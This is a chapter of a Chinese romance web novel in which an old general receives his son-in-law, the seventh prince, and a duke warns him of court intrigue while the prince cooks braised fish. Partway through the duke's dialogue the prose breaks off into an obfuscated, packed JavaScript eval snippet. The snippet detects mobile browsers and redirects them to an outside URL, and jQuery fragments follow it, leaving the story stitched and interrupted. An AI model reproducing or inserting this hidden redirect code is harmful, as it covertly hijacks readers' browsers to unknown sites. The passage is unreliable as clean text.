13. 第 13 章

作品:《我的皇子夫君小厨娘

    霍府厅堂内。


    霍征远背手而立,他苦熬四日,内心开始焦灼不安。


    这么多年来,他们父女从未分开之久,他时刻叫人盯着澄澈府的动静,知道昨儿个两人已从皇宫回来,霍清弦也该来看看自己了。


    他叹了口气,在厅堂内不安地走来走去。


    突然,门口的护卫来报:


    “老将军.....七殿下和将军来了......”


    霍征远大喜,他赶去迎接,走了两步,却又折回来,他坐回厅堂主座上,一脸严肃,挥了挥手对护卫说:


    “我知道了,你去吧。”


    护卫不解,这几日看霍征远如坐针毡,定是担心霍清弦处境,如今人来了,却又摆起架子来了,再说,来的可是七殿下。


    霍清弦一进门就看到霍征远一脸严肃,身体笔直坐在主座,她神色微微一愣,不知霍征远在卖什么关子。


    “见过爹爹。”


    霍征远浑身散发着军人的威严,他抬手不冷不热地“嗯”了一声,目光落在一旁的李元澈身上。


    李元澈记得清清楚楚,当日成亲他去接霍清弦时,霍征远对自己还是笑呵呵的,如今怎么像变了个人,他内心忐忑,挤出笑:


    “见过老将军......”


    霍征远一怔,怎么会有男子笑起来如此好看,他努力回过神来,吭了一声,起身沉声道:


    “殿下多礼了,老臣不敢当。”


    他抬手示意:“殿下请坐。”


    说完便坐回主座,他目光若有若无地打量着李元澈,李元澈坐得有些僵硬,他时不时和霍征远对上眼,又快速移开,他忙端起水喝了一口。


    霍征远想到成亲那日,李元澈精神矍铄,没想到几日不见,这浑身的气息远不如那日,甚至透着些娇柔之气,之前他还想着调教一番,可眼前的李元澈看来是经不起折腾。


    霍征远不觉皱着眉。


    他目光又落到霍清弦身上,霍清弦还是那样不冷不热,正盯着他,他无视了霍清弦的直视,目光投向李元澈。


    空气中流动着一股强大的气场,李元澈喉结艰难地滚动。


    霍征远开口道:“老夫鲁莽,可和殿下闲聊几句?”


    李元澈看了眼霍清弦,手指不安地蜷缩着,他故作淡然,嘴角浮出若有若无的笑意:


    “当然.....有什么话老将军您问便是。”


    霍征远摸着胡子:“我已安排人去准备膳食,只当是和殿下闲聊几句。”


    李元澈笑了笑,手心里攥出一把汗。


    霍征远道:


    “老夫常年征战在外,对京城之事,知之甚少,如今,殿下已和爱女成亲,说来我们便是一家人,既是一家人,我想有些事,我们也该多了解下,日后可方便行事。”


    李元澈道:“老将军说的是。”


    霍征远犹豫片刻,便道:


    “我只知当今太子是萧皇后所生,二皇子是当今皇后江皇后所生,其他各位皇子便是各位妃子所生,不知殿下生母是哪位妃子?”


    霍清弦垂下眼皮,她没想到霍征远初次见面,就问如此犀利隐私的问题。


    各皇子生母不同,其身份地位自然不同,她知李元澈只是一枚棋子,若其母身份高贵,又怎会如此。


    李元澈脊背挺得有些僵硬。


    “回老将军,我......”


    门外突然传来护卫的通报声:


    “老将军,魏国公来了。”


    霍征远一愣,眼里掠过一丝惊喜,赶紧起身:


    “快请他进来。”


    他回头对李元澈道:“殿下,我们日后再闲聊便是,老臣先告辞了。”


    李元澈不知那魏国公是何人,他心里舒了一口气。


    他看了眼霍清弦,霍清弦垂眸像是在思考问题,他也不敢多问。


    厚重的檀木门散发着松香气息。


    里面传来浑厚的笑声。


    霍征远与魏国公席地而坐,中间摆放着一方茶几,上面的两盏清茶冒着热气。


    魏国公两鬓发白,年龄却较霍征远小两岁。


    他感慨道:


    “想当年.....将军意气风发,离开大明时还是少年郎君,如今.....却添了白发,我也两鬓发白,老矣。”


    霍征远道:“当年.....你我二人,也是像今日这样,在这里饮茶,这一别却不想是二十五年,真是恍如隔世,你也坐到了国公的位置,我也变成了老匹夫。”


    他拱手行礼:“我应尊称你为国公才是。”


    魏国公道:“国公乃是外人称呼,将军待我大恩大德,于我而言,是挚友,是知己,莫非是这么多年不见,将军与我生疏了?”


    当年魏忠进京赶考,途中遭遇不测被盗匪抢了干粮,因长途跋涉体力不支昏倒在路边,霍征远外出巡查,将晕倒的魏忠带回,魏忠这才捡回一条命。


    因两人情投意合,魏忠便长期住在霍家,后应考考取功名,一步步坐到国公的位置,多年过去,一文一武,虽是截然不同的选择,但两人却始终惺惺相惜。


    霍征远一怔:


    “我乃一介武夫,是个粗人,这么多年我固守边境,深知在朝内有魏兄周旋,否则我怕是很难再为大明效力,你我虽不能日日见面,但我深知魏兄心意,又怎么会与魏兄生疏。”


    魏国公抬手道:


    “哎霍兄言重了,霍家世代忠良,根基深厚,这天下无人不知,大明能有今日,得亏了霍家,我并未有意偏袒霍兄,只是维护忠良,乃我为国公之责。”


    霍征远摸了摸胡子,神色逐渐凝重:“霍家虽世代忠良,但我担心.....迟早有一天,会走上赵子翼将军的后路。”


    赵子翼乃是京城守护大明的将军,在京城,他和江家手握一半兵权,后被人举报,私造兵器,以谋反之罪斩杀惨死,赵府也遭灭门之灾。


    后京城的兵权皆由江家掌管,赵子翼的事发突然,很多人都没反应过来,赵府就惨遭灭门,谁也不知真正的真相是什么。


    事后,但凡和赵子翼将军接触过的人,无人相信他会谋反,只是天子发怒,赵子翼已死,便再也无人重提此事。


    魏国公道:“可惜了赵子翼将军......一片忠心,不过.....霍兄请放心,有我在朝为职一天,我便不会让那奸人再害霍兄一次,其实.....我此次前来,也正是来提醒霍兄的。”


    霍征远疑惑地哦了一声:“我刚回京不久......莫非是得罪了什么人?”


    魏国公面露为难:


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16347723|183397||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    “霍兄为人耿直,多年在境外,不知京中事故险恶,我思来想去,怕霍兄得了小人的奸计,不得不提醒。”


    “此事......与霍兄的贤婿七殿下有关.....”


    灶膛里的火微弱地跳跃着,锅里发出“滋滋冒油”的声响。


    李元澈拿着火棍在里面搅了两下,火苗逐渐熄灭,他的脸上留下一些灰黑,鼻尖冒着细细的汗珠。


    他起身拍了拍手,心满意足地看着锅里,他挨个翻了个身,看着里面的鱼块煎地焦黄酥脆,又用长筷捞出,重新起锅,倒上热油,放入葱姜蒜爆炒,再放入一勺他连夜赶做的大酱,将鱼块放入,使其色融为一体,加入酱清和清水,盖上锅盖。


    锅里咕嘟地响着,淡淡的香味越来越浓醇,惹得一旁的侍女们都咽了咽口水。


    片刻后,李元澈将鱼块出盘,撒上葱花,一道鲜美的红烧鱼块就出现在众人面前。


    李元澈嘴角露出心满意足的笑容。


    他又赶紧看向一旁的锅,里面的红烧肉也好了。


    此时魏国公和霍征远已从书房挪到正厅,霍征远在巳时就安排下人们去准备饭菜了,魏国公自然也不会驳霍征远面子。


    两人正在闲聊时,霍清弦来了,霍清弦虽从小驻守境外,但一举一动沉稳有度,动作干脆利落,不卑不亢,有大将风范,魏国公心里感慨,别说是京城的女子,恐怕是京城的男子,这气概也没几个能比得上霍清弦的。


    他欣慰地道:“不愧是......霍兄的爱女,果然是将门虎女。”


    霍清弦虽是第一次见魏国公,但对魏国公并不陌生,因霍征远常年讲起他们当年的故事,


    这次,她和李元澈虽没有跟霍征远去见魏国公,但想必她和李元澈在霍府的事,霍征远早就告诉魏国公了。


    她定然是要前来问候,她作揖行礼:“国公大人过奖了。”


    魏国公抬手:“哎......你父亲与我亲如手足,私下你叫我叔父可好?”


    霍征远道:“那自然是好,弦儿.....快叫叔父。”


    霍清弦行礼:“叔父。”


    三人入坐,魏国公犹豫了下问:“弦儿……七殿下呢?”


    霍清弦道:“他随后就到。”


    魏国公不知这位七殿下是在摆架子,还是不愿来见他。


    霍征远心想,七殿下那个性子,不会是不敢来了吧?


    若真是如此,岂不是叫人笑话。


    两人的心思被侍女们端上的菜一一打断,每道菜看起来色香味俱全,看着就让人很有食欲。


    霍征远心想,看来今日的厨师也知来得是重要之人,菜品做得十分用心,


    这些鱼肉,他虽都吃过,但看起来总觉得有些不一样,他抬手示意:


    “魏兄请……”


    魏忠没再客气,霍清弦和霍征远也吃了起来。


    霍征远夹了一块红烧肉,他眼睛蓦地睁大,


    “魏兄……快尝尝这个……”


    魏国公正细细品着一块红烧鱼肉,鱼肉虽是煎地,却嫩滑可口,汤汁浇在上面更入味,他点了点头。


    “不想霍兄府上……有如此高厨……这真的是我吃过最好吃的鱼肉。”


    话音刚落,一阵急促地脚步传来。